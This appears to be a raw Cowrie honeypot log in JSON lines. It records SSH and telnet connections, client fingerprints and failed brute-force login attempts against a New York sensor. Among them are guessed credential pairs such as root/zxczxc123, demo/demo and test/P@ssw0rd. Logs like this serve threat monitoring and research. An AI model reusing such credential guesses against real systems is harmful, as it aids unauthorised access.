{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:04.995721Z","src_ip":"97.74.87.152","session":"1efe0a101dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64988,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffee42c9780c","protocol":"ssh","message":"New connection: 91.92.40.36:64988 (10.17.0.5:22) [session: ffee42c9780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:05.219319Z"}
{"eventid":"cowrie.login.failed","username":"temp","password":"123123","message":"login attempt [temp/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:05.942695Z","src_ip":"97.74.87.152","session":"1efe0a101dad","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:06.136689Z","src_ip":"91.92.40.36","session":"ffee42c9780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:07.174412Z","src_ip":"97.74.87.152","session":"1efe0a101dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:07.270705Z","src_ip":"91.92.40.36","session":"ffee42c9780c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:12.517683Z","src_ip":"91.92.40.36","session":"ffee42c9780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b6b8602087","protocol":"ssh","message":"New connection: 91.92.40.36:52042 (10.17.0.5:22) [session: b2b6b8602087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:12.547307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:12.764743Z","src_ip":"91.92.40.36","session":"b2b6b8602087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:12.771995Z","src_ip":"91.92.40.36","session":"b2b6b8602087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codex","password":"codex","message":"login attempt [codex/codex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:14.191758Z","src_ip":"91.92.40.36","session":"b2b6b8602087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41900,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f31849109f","protocol":"telnet","message":"New connection: 128.199.8.54:41900 (159.203.135.109:23) [session: 67f31849109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:14.515070Z"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:14.775886Z","src_ip":"91.92.40.36","session":"ffee42c9780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:15.699381Z","src_ip":"91.92.40.36","session":"b2b6b8602087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47744,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff564b5ba627","protocol":"ssh","message":"New connection: 91.92.40.36:47744 (10.17.0.5:22) [session: ff564b5ba627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:19.279120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:20.295888Z","src_ip":"91.92.40.36","session":"ff564b5ba627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:20.300639Z","src_ip":"91.92.40.36","session":"ff564b5ba627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxc123","message":"login attempt [root/zxczxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:23.986248Z","src_ip":"91.92.40.36","session":"ff564b5ba627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38184,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3967034d857","protocol":"telnet","message":"New connection: 172.81.62.90:38184 (159.203.135.109:23) [session: a3967034d857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:24.820907Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:25.636509Z","src_ip":"91.92.40.36","session":"ff564b5ba627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46210,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2b73eec682","protocol":"ssh","message":"New connection: 91.92.40.36:46210 (10.17.0.5:22) [session: ce2b73eec682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:28.374939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:28.471982Z","src_ip":"91.92.40.36","session":"ce2b73eec682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:28.604121Z","src_ip":"91.92.40.36","session":"ce2b73eec682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"root","message":"login attempt [deployer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:29.238927Z","src_ip":"91.92.40.36","session":"ce2b73eec682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:30.345587Z","src_ip":"91.92.40.36","session":"ce2b73eec682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46240,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c1a1e613e42","protocol":"ssh","message":"New connection: 91.92.40.36:46240 (10.17.0.5:22) [session: 7c1a1e613e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:36.967158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:39.624370Z","src_ip":"91.92.40.36","session":"7c1a1e613e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:39.628555Z","src_ip":"91.92.40.36","session":"7c1a1e613e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44496,"dst_ip":"10.17.0.5","dst_port":22,"session":"26cb185983ad","protocol":"ssh","message":"New connection: 91.92.40.36:44496 (10.17.0.5:22) [session: 26cb185983ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:43.501078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:43.595050Z","src_ip":"91.92.40.36","session":"26cb185983ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:43.731642Z","src_ip":"91.92.40.36","session":"26cb185983ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:43.897650Z","src_ip":"91.92.40.36","session":"7c1a1e613e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"P@ssw0rd","message":"login attempt [alex/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:44.755684Z","src_ip":"91.92.40.36","session":"26cb185983ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":54226,"dst_ip":"159.203.135.109","dst_port":22,"session":"392a788050a9","protocol":"ssh","message":"New connection: 160.187.180.146:54226 (159.203.135.109:22) [session: 392a788050a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:45.450172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:45.454956Z","src_ip":"160.187.180.146","session":"392a788050a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:45.665829Z","src_ip":"160.187.180.146","session":"392a788050a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:46.389226Z","src_ip":"91.92.40.36","session":"26cb185983ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anik","password":"anik","message":"login attempt [anik/anik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:46.542133Z","src_ip":"160.187.180.146","session":"392a788050a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:46.618909Z","src_ip":"91.92.40.36","session":"7c1a1e613e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40760,"dst_ip":"159.203.135.109","dst_port":23,"session":"537ef6bfc0d1","protocol":"telnet","message":"New connection: 172.81.62.90:40760 (159.203.135.109:23) [session: 537ef6bfc0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:47.072693Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:47.756792Z","src_ip":"160.187.180.146","session":"392a788050a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aeab0b42d18","protocol":"ssh","message":"New connection: 91.92.40.36:30650 (10.17.0.5:22) [session: 0aeab0b42d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:52.228748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:52.943678Z","src_ip":"91.92.40.36","session":"0aeab0b42d18","protocol":"ssh"}
